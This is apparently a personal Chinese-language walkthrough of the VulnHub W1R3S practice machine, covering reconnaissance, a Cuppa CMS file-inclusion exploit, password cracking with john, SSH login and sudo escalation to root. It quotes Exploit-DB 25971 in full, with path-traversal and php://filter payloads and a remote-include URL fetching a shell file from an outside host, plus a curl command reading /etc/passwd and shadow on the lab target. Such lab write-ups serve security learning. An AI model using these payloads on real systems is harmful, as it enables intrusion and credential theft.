vulnhub-W1R3S
靶机日记
前言
写下来md主要是为了让之前的知识能够以一个比较系统的形式进行梳理,之前的虽然接触过靶机,但是或多或少没有真正记录下来,那么就让我们重新开始......
这台主机上原本没有安装VMware和kali,安装过程跳过(大约半小时,刷了会视频)
1.W1R3S
靶机的下载链接附上:
https://download.vulnhub.com/w1r3s/w1r3s.v1.0.1.zip
下载之后直接拖入vmx后缀的文件到VMware进行虚拟链接
无论什么靶机都先扫吧
nmap扫描得到一个网段的主机

这里提前熟悉了我宿舍的局域网的其他主机的ip,所以我看出来235是目标主机了
Tips:其实这里我的宿舍的路由器是个比较特殊的存在,那么正确的主机发现操作应该是在靶机上线之前扫一次,靶机上线之后扫一次。如果是我们作为一台攻击的主机去到一个新的局域网里,那种扫描方法就另说......
接下来的操作是针对这个主机具体的扫描一下,来看看发现了什么信息

我们看到,21,22 80,3306这些常见的端口开了,那么我们要从什么样的方式入手呢,这里的思路其实不能着急马上往下做,没有看writeup之前我就可能是直接去走具体的端口了,但是从信息手机的角度,我们作为攻击者应该尽可能收集到具体到端口开放的服务,具体的版本号等等的信息。

接下来用nmap的漏洞库扫一下看看:

心法/攻击面分析:首先我们根据自己的经验分析:
21 ftp服务,通常来说他能够给我们带来的东西更多的是某种弱口令的信息,我们针对ftp能做的通常也只有匿名登录->信息检索这一步骤
22 ssh服务,只是一个弱口令的入口罢了,能结合ftp里面找到的信息进行爆破一下?社工一下?......我们自己也知道这攻击面十分的有限
80 网页服务,这里的攻击手段明显的开阔起来......
3306 数据库,针对数据库进行一些操作还是十分的有限,我个人感觉就是和ftp一样:都是一种弱口令渠道收集信息的手段罢了
先看看弱口令吧:匿名登录到ftp之后我们翻找一些信息点:
其中不缺乏一些戏耍等等...
md5该拿去解密就解密,base该拿去还原就还原,这些没有什么技术含量,用工具能达到的东西就不侧重记录,碰到了戏耍纯当乐子就行
针对80端口,我们爆破看看目录,能有啥网页能看到:

扫描出来的结果发现大目录有主要有:
WordPress、administrator、JavaScript
很多时候我也不知道以一些奇怪的东西是什么,现场上网搜搜看看:
喔,一眼看去感觉像是一个网页版的ftp?未知,但是不影响我们接着往下看看
稍微搜索了一下之后......
算了,写那么详细干什么,自己看得懂就行:
得到目录之后发现是一个叫做cuppa的cms系统,然后找找看有没有漏洞

发现有一个,下载下来看看怎么利用:
searchsploit cuppa -m 25971.txt

txt里面的信息是这样的:
# Exploit Title : Cuppa CMS File Inclusion
# Date : 4 June 2013
# Exploit Author : CWH Underground
# Site : www.2600.in.th
# Vendor Homepage : http://www.cuppacms.com/
# Software Link : http://jaist.dl.sourceforge.net/project/cuppacms/cuppa_cms.zip
# Version : Beta
# Tested on : Window and Linux
,--^----------,--------,-----,-------^--,
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..
`+---------------------------^----------|
`\_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / `\ /
/ XXXXXX /\______(
/ XXXXXX /
/ XXXXXX /
(________(
`------'
####################################
VULNERABILITY: PHP CODE INJECTION
####################################
/alerts/alertConfigField.php (LINE: 22)
-----------------------------------------------------------------------------
LINE 22:
<?php include($_REQUEST["urlConfig"]); ?>
-----------------------------------------------------------------------------
#####################################################
DESCRIPTION//描述
#####################################################
An attacker might include local or remote PHP files or read non-PHP files with this vulnerability. User tainted data is used when creating the file name that will be included into the current file. PHP code in this file will be evaluated, non-PHP code will be embedded to the output. This vulnerability can lead to full server compromise.
http://target/cuppa/alerts/alertConfigField.php?urlConfig=[FI]
#####################################################
EXPLOIT//利用、示范
#####################################################
http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt?
http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
Moreover, We could access Configuration.php source code via PHPStream
For Example:
-----------------------------------------------------------------------------
http://target/cuppa/alerts/alertConfigField.php?urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php
-----------------------------------------------------------------------------
Base64 Encode Output:
-----------------------------------------------------------------------------
PD9waHAgCgljbGFzcyBDb25maWd1cmF0aW9uewoJCXB1YmxpYyAkaG9zdCA9ICJsb2NhbGhvc3QiOwoJCXB1YmxpYyAkZGIgPSAiY3VwcGEiOwoJCXB1YmxpYyAkdXNlciA9ICJyb290IjsKCQlwdWJsaWMgJHBhc3N3b3JkID0gIkRiQGRtaW4iOwoJCXB1YmxpYyAkdGFibGVfcHJlZml4ID0gImN1XyI7CgkJcHVibGljICRhZG1pbmlzdHJhdG9yX3RlbXBsYXRlID0gImRlZmF1bHQiOwoJCXB1YmxpYyAkbGlzdF9saW1pdCA9IDI1OwoJCXB1YmxpYyAkdG9rZW4gPSAiT0JxSVBxbEZXZjNYIjsKCQlwdWJsaWMgJGFsbG93ZWRfZXh0ZW5zaW9ucyA9ICIqLmJtcDsgKi5jc3Y7ICouZG9jOyAqLmdpZjsgKi5pY287ICouanBnOyAqLmpwZWc7ICoub2RnOyAqLm9kcDsgKi5vZHM7ICoub2R0OyAqLnBkZjsgKi5wbmc7ICoucHB0OyAqLnN3ZjsgKi50eHQ7ICoueGNmOyAqLnhsczsgKi5kb2N4OyAqLnhsc3giOwoJCXB1YmxpYyAkdXBsb2FkX2RlZmF1bHRfcGF0aCA9ICJtZWRpYS91cGxvYWRzRmlsZXMiOwoJCXB1YmxpYyAkbWF4aW11bV9maWxlX3NpemUgPSAiNTI0Mjg4MCI7CgkJcHVibGljICRzZWN1cmVfbG9naW4gPSAwOwoJCXB1YmxpYyAkc2VjdXJlX2xvZ2luX3ZhbHVlID0gIiI7CgkJcHVibGljICRzZWN1cmVfbG9naW5fcmVkaXJlY3QgPSAiIjsKCX0gCj8+
-----------------------------------------------------------------------------
Base64 Decode Output:
-----------------------------------------------------------------------------
<?php
class Configuration{
public $host = "localhost";
public $db = "cuppa";
public $user = "root";
public $password = "Db@dmin";
public $table_prefix = "cu_";
public $administrator_template = "default";
public $list_limit = 25;
public $token = "OBqIPqlFWf3X";
public $allowed_extensions = "*.bmp; *.csv; *.doc; *.gif; *.ico; *.jpg; *.jpeg; *.odg; *.odp; *.ods; *.odt; *.pdf; *.png; *.ppt; *.swf; *.txt; *.xcf; *.xls; *.docx; *.xlsx";
public $upload_default_path = "media/uploadsFiles";
public $maximum_file_size = "5242880";
public $secure_login = 0;
public $secure_login_value = "";
public $secure_login_redirect = "";
}
?>
-----------------------------------------------------------------------------
Able to read sensitive information via File Inclusion (PHP Stream)
################################################################################################################
Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################这里还是要看的懂漏洞文件:这是一个涉及到php代码注入的漏洞......
他的示例给出:在某个路径传入一个参数,就可以访问到主机文件系统的其他内容
他的示范:
http://192.168.200.139/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
http://192.168.200.139/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd其中还提到了编码的问题:可能需要进行base64编码之后再传参才会生效......
所以我们利用curl命令进行传参:
关于curl命令的更多使用:http://t.csdnimg.cn/TFpDT
curl --data-urlencode urlConfig=../../../../../../../../../etc/passwd http://192.168.200.139/administrator/alerts/alertConfigField.php根据回显:
得到了在linux文件下存放密码哈希值的文件shadow,再根据md5破解对应的密码......
先把他这些有哈希值的复制下来,放到文件里面,再使用john命令对这些文件进行破解

ssh用户:w1r3s
ssh密码:computer
(要是破解不出来咋办?只能说是是一条思路,并不能当做某种通法去解决,获取哈希值是好的,但是对他的期望应该仅仅止步于破解这一块??【个人猜想】)
破解之后得到对应的密码并且ssh远程连接
检查确认当前用户权限:
whoami
uname –a
id
sudo -l
确实是all:all:all的权限,那么就
sudo/bin/bash
一下升级权限进行提权,到此结束。
